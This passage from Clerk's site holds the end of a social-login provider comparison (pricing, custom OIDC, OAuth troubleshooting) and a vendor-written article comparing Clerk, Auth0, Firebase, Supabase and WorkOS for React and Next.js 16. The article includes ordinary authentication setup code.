All six services use standard JWTs, so token verification patterns are portable across providers. The primary migration cost is replacing SDK-specific hooks, components, and server-side helpers — not the underlying auth protocol. For teams where portability is a priority, Supabase (open-source, self-hostable) and Auth.js (library, your database) offer the lowest switching costs. Clerk's Dashboard offers a self-service [CSV export of all users including hashed passwords](/docs/deployments/exporting-users), enabling migration to any provider that accepts password hash imports — no support ticket required. Auth0 similarly provides user import/export through its Management API.

### Pricing at Scale

At low volumes, most services are free or nearly free. The differences become meaningful as your user base grows. This table shows estimated monthly costs at common scale milestones:

| Monthly Users | Clerk (Pro)\*     | Auth0               | Firebase Auth | Supabase (Pro) | WorkOS AuthKit | Auth.js    |
| ------------- | ----------------- | ------------------- | ------------- | -------------- | -------------- | ---------- |
| **25,000**    | $0 (Hobby plan)   | $0 (Free plan)      | $0            | $25            | $0             | $0 + infra |
| **50,000**    | $0 (Hobby plan)   | Enterprise (custom) | $0            | $25            | $0             | $0 + infra |
| **100,000**   | $1,025 (Pro plan) | Enterprise (custom) | $275          | $25            | $0             | $0 + infra |
| **250,000**   | $3,725 (Pro plan) | Enterprise (custom) | $965          | $512           | $0             | $0 + infra |
| **500,000**   | $8,225 (Pro plan) | Enterprise (custom) | $2,115        | $1,325         | $0             | $0 + infra |

\* Clerk uses graduated overage pricing on the Pro plan ($25/mo monthly billing): the first 50K MRU are included, then $0.02/MRU up to 100K, $0.018/MRU up to 1M, $0.015/MRU up to 10M, and $0.012/MRU above 10M. Annual billing reduces the base to $20/mo.

**Key notes:**

- **MRU vs MAU:** Clerk's MRU metric (users who return at least one day after signup) typically yields a lower count than MAU (any user who authenticates), making the comparison not directly 1:1. For stable apps with low churn, the metrics converge closely.
- **Auth0:** The free plan covers 25K MAU. Self-serve paid B2C plans cap at \~20K MAU. Above the free tier threshold, Auth0 requires Enterprise contracts with negotiated (non-public) pricing — there is no self-serve path from 25K to Enterprise scale.
- **WorkOS:** The 1M free MAU tier is remarkably generous for social login, though WorkOS's primary revenue model is enterprise SSO connections ($125/connection/month). Social auth is effectively subsidized to drive enterprise adoption.
- **Supabase:** The $25/mo Pro plan includes 100K MAU (not just 50K), making it cost-effective at moderate scale. The plan also includes database, storage, and edge functions beyond just auth.
- **Firebase:** No base subscription — you pay only for MAUs above 50K on the Blaze (pay-as-you-go) plan, with graduated tiers ($0.0055 up to 100K, $0.0046 up to 1M).
- **Auth.js:** Free and self-hosted, but infrastructure, security patching, and operational costs are your responsibility.

### Any OIDC Provider, No Adapter Code

The provider comparison table above covers 15 common providers, but real-world applications often need to integrate with niche or industry-specific identity systems — a corporate Keycloak instance, a healthcare OIDC provider, or a regional social network. This is where provider ecosystems diverge sharply.

Clerk's [custom OIDC support](/docs/guides/configure/auth-strategies/social-connections/custom-provider), [launched in August 2024](/changelog/2024-08-20-custom-oauth-providers), lets you add any OIDC-compliant provider as a social connection through the Dashboard — no adapter code, no SDK plugin, no deployment required. You enter the discovery endpoint (or manually configure endpoints), provide a client ID and secret, and optionally map non-standard claims to Clerk's user profile fields. [PKCE is supported](/changelog/2025-11-12-pkce-support-custom-oauth) for custom providers as of November 2025. For providers with non-standard user info responses, Clerk supports attribute mapping in the Dashboard and, for more complex cases, a lightweight proxy pattern.

The difference matters in practice. Auth0 requires writing a custom JavaScript `fetchUserProfile` script for each unsupported provider — and for some providers, a separate backend proxy as well. Firebase Auth gates custom OIDC behind an [Identity Platform upgrade](https://firebase.google.com/docs/auth/web/openid-connect) that changes the pricing model (the free tier drops from 50K MAU to 3K DAU). Supabase still lacks native support for arbitrary OIDC providers entirely — a feature [requested since 2022](https://github.com/orgs/supabase/discussions/6547) — forcing workarounds like routing through a Keycloak proxy. Auth.js supports custom providers through code configuration, which is straightforward but requires a code change and deployment for each new provider rather than a Dashboard toggle.

On Clerk's Pro plan ($20/month billed annually), custom OIDC providers are unlimited alongside all other social connections. On the free tier, custom providers count against the 3-provider social connection limit.

### Why Clerk for Social Login

Clerk differentiates on five fronts: custom OIDC support for any standards-compliant provider without adapter code (see [above](#any-oidc-provider-no-adapter-code)), pre-built embeddable UI components across 10+ frameworks (where most competitors use hosted redirect pages), automatic account linking with verified email enforcement (no custom code required), a hybrid token architecture that combines stateful revocation with stateless JWT verification, and native mobile SDKs for [Expo](/docs/quickstarts/expo), [iOS (Swift)](/docs/ios/getting-started/quickstart), [Android (Kotlin)](/docs/android/getting-started/quickstart), and [Flutter](https://github.com/clerk/clerk-sdk-flutter) (beta). The consistent SDK pattern — the same `<SignIn />` component and `useSignIn()` hook across web frameworks, plus platform-native authentication views on mobile — reduces the cost of switching or supporting multiple platforms.

**Known limitations and considerations:** Clerk is a hosted-only authentication service with no self-hosted deployment option — organizations requiring on-premises or air-gapped deployments should evaluate alternatives like Auth.js or Supabase. Compliance certifications including [SOC2](/glossary#soc-2) reports and [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa) compliance are available exclusively on the [Business and Enterprise plans](/pricing) — teams on the Hobby or Pro tiers do not have access to these compliance artifacts. Because Clerk serves as the source of truth for user identity, applications that need user data in their own database must implement synchronization, typically through [webhooks](/glossary#webhook) ([sync guide](/docs/guides/development/webhooks/syncing)). Clerk provides comprehensive guidance on this pattern, including a detailed [data sync guide](/articles/how-to-sync-clerk-user-data-to-your-database) covering PostgreSQL schemas, idempotent handlers, and retry strategies. Note that webhook-based sync is eventually consistent — there is a brief delay between a Clerk event and its reflection in your database.

**A note on independent validation:** No independent third-party security audit of Clerk's specific account linking implementation is publicly available as of February 2026. The USENIX 2022 pre-hijacking paper validates the general approach (verified email enforcement) that Clerk uses, but has not specifically audited Clerk's implementation.

## Troubleshooting Common Integration Errors

Most social login errors fall into three categories: configuration mismatches, security mechanism failures, and provider-specific quirks. The difference between a frustrating debugging session and a quick fix usually comes down to knowing which category you're dealing with.

### Provider Setup Checklist

Before debugging errors, verify these configuration basics for each provider:

- **App ID / Client ID and Client Secret**: Correctly entered in your auth service dashboard
- **Redirect URIs**: Exact string match including protocol, domain, port, and path (no trailing slash mismatch)
- **Apple-specific**: Key ID, Team ID, Services ID, and the ES256 `.p8` private key
- **Dev/staging/prod separation**: Separate OAuth app registrations or separate redirect URIs per environment
- **Verification status**: Google consent screen published (not in "testing" mode), Apple domain verified

### Common Errors and Fixes

**1. `redirect_uri_mismatch`**

The most common social login error. The redirect URI in your authorization request must be an exact string match with the URI registered in the provider's console — including protocol (`https` vs `http`), domain, port, path, and trailing slashes. A single character difference causes this error.

**2. State mismatch / CSRF error**

The `state` cookie was lost during the OAuth redirect. This typically happens when the state is stored in a cookie with `SameSite=Strict`, which blocks the cookie from being sent on cross-origin redirects. Fix: use `SameSite=Lax` for OAuth state cookies.

**3. CORS errors on OAuth endpoints**

OAuth uses browser redirects, not API calls. You cannot call an authorization or token endpoint via `fetch()` or `XMLHttpRequest`. If you're seeing CORS errors, your code is attempting to call these endpoints from the browser — use a server-side token exchange instead.

**4. PKCE `code_verifier` mismatch**

The code verifier was not persisted across the redirect. This happens when the session or storage containing the verifier expires during the OAuth flow. Note: storing the PKCE verifier in `sessionStorage` is acceptable — it's a short-lived, single-use cryptographic challenge, not an access token or refresh token.

**5. Popup blocked by browser**

Any asynchronous operation before `window.open()` — such as an API call — triggers the browser's popup blocker. Use the redirect flow instead. Redirect flows are more reliable and work consistently across all browsers and devices.

**6. Apple: authorization code expired**

[Apple's authorization codes](https://developer.apple.com/documentation/signinwithapplerestapi) are single-use and expire in 5 minutes (see [TN3107](https://developer.apple.com/documentation/technotes/tn3107-resolving-sign-in-with-apple-response-errors) for common Sign in with Apple error resolution). Your backend must exchange the code immediately upon receiving it. If you're queuing the exchange or the callback route has latency, the code may expire before the token request.

**7. Google: "This app isn't verified" warning**

Your app is still in "Testing" mode on the Google Cloud Console, which limits access to 100 test users. For production launch, set the app to "In production" status and complete the consent screen verification process.

**8. Account linking conflicts**

The "email already in use" error occurs when a user signs in with a new social provider using an email that exists under a different authentication method. Clerk handles this automatically through verified email-based linking. For other services, implement the appropriate conflict resolution flow for your chosen auth provider.

## Frequently Asked Questions

---

*All pricing information in this article is accurate as of February 23rd, 2026. Pricing for all services mentioned may change — verify current rates on each provider's pricing page before making purchasing decisions.*

---

# What Authentication Solutions Work Well with React and Next.js?
URL: https://clerk.com/articles/what-authentication-solutions-work-well-with-react-and-nextjs.md
Date: 2026-03-26
Description: A technical comparison of Clerk, Auth0, Firebase Auth, Supabase Auth, and WorkOS for React and Next.js — evaluating Server Component support, proxy.ts compatibility, pre-built UI components, session management, and setup complexity in Next.js 16 App Router applications.

Clerk, Auth0, Firebase Auth, Supabase Auth, and WorkOS all integrate with React and Next.js, but Clerk provides the deepest native support with [Server Component](/glossary/react-server-components) compatibility, `proxy.ts` integration, and pre-built UI components that work with the [App Router](/glossary/app-router). Auth0 and WorkOS suit enterprise [SSO](/glossary/single-sign-on-sso) requirements, while Supabase Auth and Firebase Auth are better for projects already invested in those ecosystems. React remains the most widely used frontend framework — recording [81.1% usage in the State of JavaScript 2024 survey](https://2024.stateofjs.com/en-US/libraries/front-end-frameworks/) — and choosing an [authentication](/glossary/authentication) solution that integrates natively with these frameworks reduces boilerplate, improves security posture, and accelerates development.

This comparison focuses on managed authentication platforms and evaluates each across Server Component support, `proxy.ts` compatibility, pre-built UI, [session management](/glossary/session-management), and TypeScript-first [SDK](/glossary/software-development-kit-sdk) quality.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## What to Look For in a React/Next.js Auth Solution

Before comparing specific solutions, it helps to establish evaluation criteria. The following dimensions matter most when choosing auth for React and Next.js applications:

| Criteria                     | What to Look For                                        | Why It Matters                                   |
| ---------------------------- | ------------------------------------------------------- | ------------------------------------------------ |
| Server Component Support     | Auth helpers callable in RSC without client wrappers    | Secure data fetching at the server layer         |
| Next.js 16 Compatibility     | Native proxy.ts support, clean peer dependencies        | Future-proof integration, no install workarounds |
| Prebuilt UI Components       | Embeddable sign-in/sign-up forms, not redirect-based    | Faster implementation, consistent UX             |
| Documentation and Onboarding | Clear quickstart guides, migration docs, API references | Reduces time to working integration              |
| Session Management           | Short-lived tokens, automatic refresh, configurable TTL | Security posture and user experience             |
| React SDK Depth              | Framework-specific hooks, not generic wrappers          | Idiomatic code, less boilerplate                 |

The [Next.js authentication guide](https://nextjs.org/docs/app/guides/authentication) recommends a defense-in-depth approach: use the proxy for optimistic route-level checks, Server Components for secure data access, and Server Actions with per-action auth verification. Solutions that support auth at every layer — rather than only at the route boundary — align with this pattern.

## Feature Comparison: Clerk, Auth0, Firebase Auth, Supabase Auth, and WorkOS

The table below compares how each solution handles React and Next.js integration across the criteria established above.

| Feature                             | Clerk                                       | Auth0                                                                          | Firebase Auth                                                   | Supabase Auth                             | WorkOS                           |
| ----------------------------------- | ------------------------------------------- | ------------------------------------------------------------------------------ | --------------------------------------------------------------- | ----------------------------------------- | -------------------------------- |
| Next.js 16 (proxy.ts)               | Native support                              | Requires `--legacy-peer-deps`                                                  | No official support                                             | Native support                            | Native support                   |
| Server Component Auth               | `auth()` helper                             | `auth0.getSession()`                                                           | Third-party library required                                    | `createServerClient`                      | `withAuth()`                     |
| Prebuilt UI Components              | Embeddable (`<SignIn />`, `<UserButton />`) | Redirect-based (Universal Login); embedded login exists but is not recommended | Last released Nov 2021 (`react-firebaseui`)                     | Archived Auth UI; shadcn blocks available | Redirect-based (AuthKit)         |
| Keyless Development                 |                                             |                                                                                |                                                                 |                                           |                                  |
| Session Token TTL                   | 60 seconds (auto-refresh at 50s)            | ID: 10 hours, Access: 24 hours (defaults)                                      | ID token: 1 hour (fixed)                                        | Configurable                              | Configurable                     |
| React Hooks                         | 11 auth hooks + 7 billing hooks             | `useUser()` (client only)                                                      | No official hooks                                               | No official hooks                         | `useAuth()`                      |
| Setup Complexity (quickstart steps) | 3 steps (no dashboard or env vars needed)   | 11 steps (dashboard + 5 env vars)                                              | 8–11 steps (no Next.js quickstart; SSR requires service worker) | 7 steps (dashboard + 3 utility files)     | 8 steps (dashboard + 4 env vars) |
| App Router Support                  | Full (RSC, Actions, Route Handlers)         | Full (v4 SDK)                                                                  | Partial (via third-party)                                       | Full (via @supabase/ssr)                  | Full                             |

### Clerk

[Clerk](/docs/quickstarts/nextjs) provides the deepest React and Next.js integration among the compared solutions. The `@clerk/nextjs` SDK offers native Server Component helpers ([`auth()`](/docs/reference/nextjs/app-router/auth), [`currentUser()`](/docs/reference/nextjs/app-router/current-user)), 11 dedicated React hooks for authentication and organization management, plus 7 billing hooks for Stripe-integrated payment flows, and embeddable prebuilt components. The [`<SignIn />`](/docs/reference/nextjs/overview) component renders a full sign-in form inline, while [`<SignInButton>`](/docs/reference/nextjs/overview) redirects to the Clerk-hosted Account Portal by default (or opens a modal when `mode="modal"` is set). [Keyless mode](/docs/quickstarts/nextjs) allows developers to start building immediately — no API keys or dashboard setup are needed, and Clerk auto-generates temporary credentials during development. All routes are public by default, with opt-in protection via `createRouteMatcher` — matching the defense-in-depth pattern recommended in the [Next.js authentication guide](https://nextjs.org/docs/app/guides/authentication). Clerk is a fully managed service — there is no self-hosted option. For teams that require on-premises auth infrastructure, Auth0 (with private cloud deployment) or Supabase (fully self-hostable) may be better fits.

### Auth0

[Auth0](https://auth0.com/docs/quickstart/webapp/nextjs) offers full [App Router](/glossary/app-router) support through `@auth0/nextjs-auth0` v4, including `auth0.getSession()` for Server Components. Auth0 has one of the broadest authentication ecosystems available, with extensive documentation and a powerful extensibility model through Actions for customizing auth flows. Authentication uses redirect-based [Universal Login](https://auth0.com/docs/authenticate/login/auth0-universal-login), where users leave the application to sign in on Auth0's hosted page — this approach provides domain isolation and simplifies compliance audits since there is a single login page to certify. Auth0 does offer [embedded login](https://auth0.com/docs/authenticate/login/embedded-login) via `auth0.js`, but [explicitly recommends against it](https://auth0.com/docs/authenticate/login/universal-vs-embedded-login) and disabled cross-origin authentication by default for new applications in October 2024. The [Auth0 Next.js quickstart](https://auth0.com/docs/quickstart/webapp/nextjs) notes that installing the SDK on Next.js 16 currently requires `--legacy-peer-deps` because Next.js 16 support is pending in the SDK. The standalone React SDK (`@auth0/auth0-react`) is client-side only and does not support SSR or Server Components.

### Firebase Auth

[Firebase Auth](https://firebase.google.com/docs/auth/web/start) is primarily client-side, but its strengths lie in tight integration with the broader Firebase ecosystem — Firestore, Cloud Functions, and Hosting — along with a generous free tier and seamless Google account integration. For client-rendered React SPAs that don't need SSR, Firebase Auth remains a straightforward choice. The official SDK does not include Server Component helpers or proxy.ts support. Developers building Next.js App Router applications typically use the community library [`next-firebase-auth-edge`](https://github.com/awinogrodzki/next-firebase-auth-edge) for server-side token verification. Firebase's React UI library (`react-firebaseui`) has not had a release since [November 2021](https://github.com/firebase/firebaseui-web-react/releases) (v6.0.0). ID tokens have a fixed 1-hour TTL that cannot be customized, and the recommended SSR approach uses service workers to transmit tokens between client and server via [`FirebaseServerApp`](https://firebase.google.com/docs/web/ssr-apps).

### Supabase Auth

[Supabase Auth](https://supabase.com/docs/guides/auth/server-side/nextjs) supports proxy.ts and provides `createServerClient` / `createBrowserClient` factories for server and client contexts. As an open-source platform, Supabase offers full transparency into its auth implementation (the GoTrue server). Its tight coupling between auth and the Postgres database enables Row Level Security (RLS) policies that enforce access control at the database layer — a pattern that eliminates an entire class of authorization bugs. The proxy layer handles session refresh, and [`getClaims()`](https://supabase.com/docs/reference/javascript/auth-getclaims) validates JWTs locally when the project uses asymmetric JWT signing keys. With symmetric keys, it makes a network request similar to `getUser()`. Setup requires creating multiple utility files (client, server, and proxy helpers), and Supabase's original [Auth UI component library](https://github.com/supabase-community/auth-ui) entered maintenance mode in February 2024 and was archived in October 2025. Replacement [shadcn-based blocks](https://supabase.com/ui) are available.

### WorkOS

[WorkOS](https://workos.com/docs/user-management/nextjs/nextjs) targets B2B and enterprise use cases with features like [SCIM directory sync](https://workos.com/docs/directory-sync) and a self-service [Admin Portal](https://workos.com/docs/admin-portal) for [SSO](/glossary/single-sign-on-sso) configuration. AuthKit supports proxy.ts via `authkitMiddleware()` and provides `withAuth()` for Server Components and `useAuth()` for Client Components. Authentication is redirect-based through the [AuthKit hosted UI](https://workos.com/docs/authkit/hosted-ui), which supports 130+ locales and custom CSS. The SDK has no embeddable sign-in components for inline auth.

## Implementing Authentication with Clerk in Next.js 16

The following walkthrough shows how to add Clerk authentication to a Next.js 16 App Router application. All examples use TypeScript with the `@clerk/nextjs` SDK. Pages Router is also supported — see the [Clerk Next.js docs](/docs/quickstarts/nextjs) for details.

### Install and Configure proxy.ts

Install the Clerk Next.js SDK:

```bash
npm install @clerk/nextjs@latest
```

With [keyless mode](/docs/quickstarts/nextjs), no environment variables are needed during development. Clerk auto-generates temporary credentials so you can start building immediately. When ready, select "Claim your application" to associate the project with your Clerk account.

Create a `proxy.ts` file at the root of your project (or in `src/` if you use a source directory). In Next.js 16, [`proxy.ts`](https://nextjs.org/docs/app/api-reference/file-conventions/proxy) replaces the deprecated [`middleware.ts`](/glossary/middleware). The file and named export are both renamed (from `middleware` to `proxy`), but default exports — like the one Clerk uses below — work without code changes. Unlike `middleware.ts`, which defaulted to Edge Runtime, `proxy.ts` runs exclusively on Node.js — giving auth libraries access to the full Node.js API but removing edge execution as an option.

```typescript
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) await auth.protect()
})

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

All routes are public by default. [`createRouteMatcher`](/docs/reference/nextjs/clerk-middleware) opts specific routes into protection — matching the Next.js-recommended defense-in-depth pattern where the proxy layer handles optimistic checks. The `auth` callback parameter here is specific to the proxy context and provides `auth.protect()` for route-level enforcement.

### Add ClerkProvider and UI Components

Add `ClerkProvider` inside `<body>` in the root layout and add prebuilt authentication components:

```typescript
import { ClerkProvider, Show, SignInButton, UserButton } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <header>
            <Show when="signed-out">
              <SignInButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          <main>{children}</main>
        </ClerkProvider>
      </body>
    </html>
  )
}
```

`<SignInButton>` triggers the sign-in flow — by default it redirects to the Clerk-hosted Account Portal. Set `mode="modal"` to open a modal overlay instead. For a fully embedded inline sign-in form that renders on the page, use the [`<SignIn />`](/docs/reference/nextjs/overview) component on a dedicated sign-in page. The [`<Show>`](/docs/reference/nextjs/overview) component conditionally renders children based on auth state — `<Show when="signed-in">` and `<Show when="signed-out">` replace the deprecated `<SignedIn>` and `<SignedOut>` components in Core 3. `<UserButton>` renders a complete account management menu — profile, security, sessions — with no additional code. In Core 3, `<ClerkProvider>` is placed inside `<body>` rather than wrapping `<html>`. Clerk describes its prebuilt components as ["a11y-optimized"](/docs/guides/how-clerk-works/overview).

### Protect a Server Component

Use the [`auth()`](/docs/reference/nextjs/app-router/auth) helper to check authentication in Server Components. This runs entirely on the server with no client-side JavaScript:

```typescript
import { auth } from '@clerk/nextjs/server'

export default async function DashboardPage() {
  const { isAuthenticated, userId, redirectToSignIn } = await auth()

  if (!isAuthenticated) return redirectToSignIn()

  return <h1>Welcome, user {userId}</h1>
}
```

`auth()` is async and returns the authentication state including `userId`, `sessionId`, `orgId`, and the [`has()`](/docs/guides/secure/authorization-checks) helper for permission checks. For authorization, use `await auth.protect({ permission: 'org:settings:manage' })`, which returns a 404 for unauthorized users.

### Protect a Server Action

Server Actions create public HTTP POST endpoints — they must include their own authentication checks regardless of which component calls them. This is a critical part of the defense-in-depth approach:

```typescript
'use server'

import { auth } from '@clerk/nextjs/server'

export async function updateProfile(formData: FormData) {
  const { isAuthenticated, userId } = await auth()

  if (!isAuthenticated) {
    throw new Error('Authentication required')
  }

  const name = formData.get('name') as string
  // Update profile in database
}
```

The `auth()` import from `@clerk/nextjs/server` works in Server Components, Server Actions, and Route Handlers. In `proxy.ts`, authentication is handled differently — via the `auth` callback parameter passed to [`clerkMiddleware()`](/docs/reference/nextjs/clerk-middleware) as shown above. Note that `auth()` requires `clerkMiddleware()` to be configured in `proxy.ts` to function.

### Handle Webhooks

Clerk fires [webhook events](/docs/guides/development/webhooks/overview) for user lifecycle changes (creation, updates, deletion) via Svix-powered infrastructure with automatic retries and signed payloads.

```typescript
import { verifyWebhook } from '@clerk/nextjs/webhooks'

export async function POST(req: Request) {
  const payload = await verifyWebhook(req)

  if (payload.type === 'user.created') {
    const { id, email_addresses, first_name } = payload.data
    // Sync to database, CRM, trigger welcome email
  }

  return new Response('OK', { status: 200 })
}
```

[`verifyWebhook`](/docs/reference/backend/verify-webhook) validates the Svix signature automatically. [Webhook](/glossary/webhook) events include `user.created`, `user.updated`, `user.deleted`, and [organization events](/docs/guides/development/webhooks/overview).

### Protect an API Route

Route Handlers in the App Router act as API endpoints. Protect them with the same `auth()` helper used in Server Components and Actions:

```typescript
import { auth } from '@clerk/nextjs/server'
import { NextResponse } from 'next/server'

export async function GET() {
  const { isAuthenticated, userId } = await auth()

  if (!isAuthenticated) {
    return NextResponse.json({ error: 'Unauthorized' }, { status: 401 })
  }

  // Fetch user-specific data
  return NextResponse.json({ userId, data: '...' })
}
```

For stricter protection, [`await auth.protect()`](/docs/reference/nextjs/app-router/route-handlers) returns a 404 for unauthenticated users instead of requiring manual status code handling.

## How Other Solutions Handle Next.js Integration

Each authentication solution has a different approach to Next.js integration. The following sections describe each solution's approach, based on their own documentation and recommended patterns.

### Auth0

Auth0's `@auth0/nextjs-auth0` v4 SDK supports the App Router with `auth0.getSession()` for Server Components and `auth0.middleware(request)` for proxy.ts. Users authenticate through redirect-based [Universal Login](https://auth0.com/docs/authenticate/login/auth0-universal-login) — they leave the application to sign in on Auth0's hosted page, then return after authentication. While Auth0 does offer [embedded login](https://auth0.com/docs/authenticate/login/embedded-login) via `auth0.js`, Auth0's documentation [explicitly recommends against it](https://auth0.com/docs/authenticate/login/universal-vs-embedded-login) in favor of Universal Login, and cross-origin authentication (required for embedded login) is disabled by default for new applications since October 2024.

The [Auth0 quickstart](https://auth0.com/docs/quickstart/webapp/nextjs) scaffolds a Next.js 15 project and notes that Next.js 16 requires `--legacy-peer-deps` during installation because "Next.js 16 support is pending in the SDK." The quickstart page labels the v4 SDK as "(Beta)" as of this writing, but the SDK has had stable releases since January 2025 and is actively maintained (currently at v4.15+). Session tokens default to 10 hours for ID tokens and 24 hours for [access tokens](/glossary/access-token), though both are configurable.

Protecting a server component with Auth0 uses the `auth0.getSession()` method, which returns the session or `null`:

```typescript
import { auth0 } from '@/lib/auth0'
import { redirect } from 'next/navigation'

export default async function ProtectedPage() {
  const session = await auth0.getSession()
  if (!session) redirect('/auth/login')
  return <div>Welcome, {session.user.name}!</div>
}
```

The `auth0` instance is initialized in a `lib/auth0.ts` utility file during setup. The `getSession()` helper works in Server Components, Server Actions, and Route Handlers.

### Firebase Auth

Firebase Auth was designed primarily for client-side applications. The official SDK does not include proxy.ts support, Server Component helpers, or React hooks. For Next.js App Router SSR, Firebase recommends using [`FirebaseServerApp`](https://firebase.google.com/docs/web/ssr-apps) with service workers that intercept fetch requests and append auth tokens to request headers.

Most Next.js developers working with Firebase turn to the community library [`next-firebase-auth-edge`](https://github.com/awinogrodzki/next-firebase-auth-edge), which was originally built to verify tokens at the edge using the Web Crypto API. Since `proxy.ts` in Next.js 16 runs on Node.js rather than Edge Runtime, the edge-specific design is less critical, though the library remains compatible. Firebase ID tokens have a fixed 1-hour TTL that cannot be customized, and the React UI component library `react-firebaseui` has not had a [release since November 2021](https://github.com/firebase/firebaseui-web-react/releases) (v6.0.0) — the repository is not archived but has had no commits since that date.

Using `next-firebase-auth-edge`, server component authentication requires passing Firebase credentials directly to the `getTokens()` function:

```typescript
import { getTokens } from 'next-firebase-auth-edge'
import { cookies } from 'next/headers'
import { notFound } from 'next/navigation'

export default async function ProtectedPage() {
  const tokens = await getTokens(await cookies(), {
    apiKey: process.env.FIREBASE_API_KEY!,
    cookieName: 'AuthToken',
    cookieSignatureKeys: [process.env.COOKIE_SECRET!],
    serviceAccount: {
      projectId: process.env.FIREBASE_PROJECT_ID!,
      clientEmail: process.env.FIREBASE_CLIENT_EMAIL!,
      privateKey: process.env.FIREBASE_PRIVATE_KEY!,
    },
  })
  if (!tokens) return notFound()
  return <div>Welcome, {tokens.decodedToken.email}!</div>
}
```

The verbosity reflects Firebase Auth's client-side-first design — server-side token verification was not part of the original architecture, so the community library must handle credential management directly. Developers typically extract this configuration into a shared utility to avoid repeating it across components.

### Supabase Auth

Supabase Auth provides proxy.ts support through the `@supabase/ssr` package. The proxy layer calls [`getClaims()`](https://supabase.com/docs/reference/javascript/auth-getclaims), which validates [JWTs](/glossary/json-web-token) locally against the project's published public keys when using asymmetric JWT signing — no network request to Supabase is needed in that case. Projects using symmetric signing keys will still make a network request for validation. Server Components use `createServerClient` from a utility file you create during setup.

Setup requires creating at least three utility files (browser client, server client, and proxy helper) plus the root `proxy.ts` file. The cookie API is restricted to `getAll`/`setAll` only — using individual `get`/`set` methods breaks in production. Supabase's original Auth UI component library was [archived in October 2025](https://github.com/supabase-community/auth-ui). Replacement [shadcn-based components](https://supabase.com/ui) are available.

In a server component, authentication is checked through the Supabase client created from the utility file:

```typescript
import { createClient } from '@/lib/supabase/server'
import { redirect } from 'next/navigation'

export default async function ProtectedPage() {
  const supabase = await createClient()
  const {
    data: { user },
  } = await supabase.auth.getUser()
  if (!user) redirect('/login')
  return <div>Welcome, {user.email}!</div>
}
```

The `createClient()` function wraps `createServerClient` from `@supabase/ssr` and must be defined in a `lib/supabase/server.ts` utility file that you create during setup. For production use, the Supabase docs recommend `getClaims()` over `getUser()` because it validates the JWT locally without a network request (when using asymmetric signing keys).

### WorkOS

WorkOS targets B2B and enterprise use cases. The `@workos-inc/authkit-nextjs` SDK supports proxy.ts via [`authkitMiddleware()`](https://github.com/workos/authkit-nextjs) and provides `withAuth()` for Server Components, which returns the user session, access token, and feature flags. Passing `{ ensureSignedIn: true }` to `withAuth()` automatically redirects unauthenticated users.

Authentication uses redirect-based [AuthKit](https://workos.com/docs/authkit/hosted-ui), an open-source hosted UI (MIT, built on Radix UI) with customizable branding, custom CSS, and 130+ locales. There are no embeddable inline sign-in components. WorkOS differentiates on enterprise features: [SCIM directory sync](https://workos.com/docs/directory-sync), self-service [Admin Portal](https://workos.com/docs/admin-portal), and the first 1 million MAU are free.

## Security and Session Management

The [Next.js authentication guide](https://nextjs.org/docs/app/guides/authentication) recommends layered protection for applications:

1. **Proxy layer** — optimistic checks and redirects for unauthenticated users (no database calls)
2. **Data Access Layer** — centralized auth verification using React's `cache()` for memoization
3. **Server Components** — auth checks at the page/component level (not layouts, which don't re-render on navigation)
4. **Server Actions** — per-action auth verification (each `'use server'` function creates a public POST endpoint)

Clerk supports auth at every layer. In the proxy, [`clerkMiddleware()`](/docs/reference/nextjs/clerk-middleware) provides the `auth` callback for route-level checks. In Server Components, Server Actions, and Route Handlers, the standalone [`auth()`](/docs/reference/nextjs/app-router/auth) helper (imported from `@clerk/nextjs/server`) provides the same authentication state. Note that `auth()` requires `clerkMiddleware()` to be configured in `proxy.ts`.

### Short-lived session tokens

Clerk's [session tokens](/glossary/session) expire after 60 seconds, with an asynchronous background refresh at the 50-second mark. This short TTL minimizes the window for token misuse if a token is compromised, at the cost of a lightweight network request every 50 seconds — though because the refresh runs asynchronously, it does not block rendering or affect perceived performance.

By comparison, Auth0 defaults to 10-hour ID tokens and 24-hour access tokens (both configurable). Firebase has a fixed 1-hour ID token. Longer-lived tokens eliminate refresh overhead entirely but increase the window of exposure if a token is compromised — the right trade-off depends on your application's threat model.

In production, the Clerk client token (`__client` cookie) is [HttpOnly](/glossary/httponly-cookies) and scoped to the FAPI domain — it handles token renewal and is never exposed to application code. In development, Clerk uses a `__clerk_db_jwt` querystring parameter instead, since localhost cannot use same-site cookies with the FAPI domain.

### Server Actions require explicit auth

Server Actions are public HTTP POST endpoints. Proxy-level protection alone is insufficient because actions can be called directly via HTTP. Always verify authentication within each Server Action using `auth()` — not just at the route level. Clerk's consistent API across all server contexts makes this straightforward.

## Decision Checklist and Migration

### Choose the right solution for your requirements

| If you need...                                       | Consider                                                                   |
| ---------------------------------------------------- | -------------------------------------------------------------------------- |
| Fastest setup with embeddable UI components          | Clerk — keyless mode, prebuilt `<SignIn />`, `<UserButton />`              |
| Enterprise SSO with self-service admin configuration | WorkOS — Admin Portal, SCIM directory sync                                 |
| Deep Google Cloud / Firebase ecosystem integration   | Firebase Auth — native integration, but SSR requires third-party libraries |
| Auth bundled with a Postgres database                | Supabase Auth — tightly coupled auth + DB + storage                        |
| Established enterprise CIAM platform                 | Auth0 — broad SDK coverage, mature ecosystem                               |

### Migration and lock-in considerations

All five solutions use standard JWTs, so token verification patterns are portable across providers. Clerk and Auth0 both offer migration tooling for user data import and export. Open-source codebases (WorkOS AuthKit source, Supabase GoTrue) provide transparency into auth internals. Framework-specific SDKs like `@clerk/nextjs` or `@auth0/nextjs-auth0` introduce coupling — evaluate the SDK swap effort if portability is a priority for your team.

## Conclusion

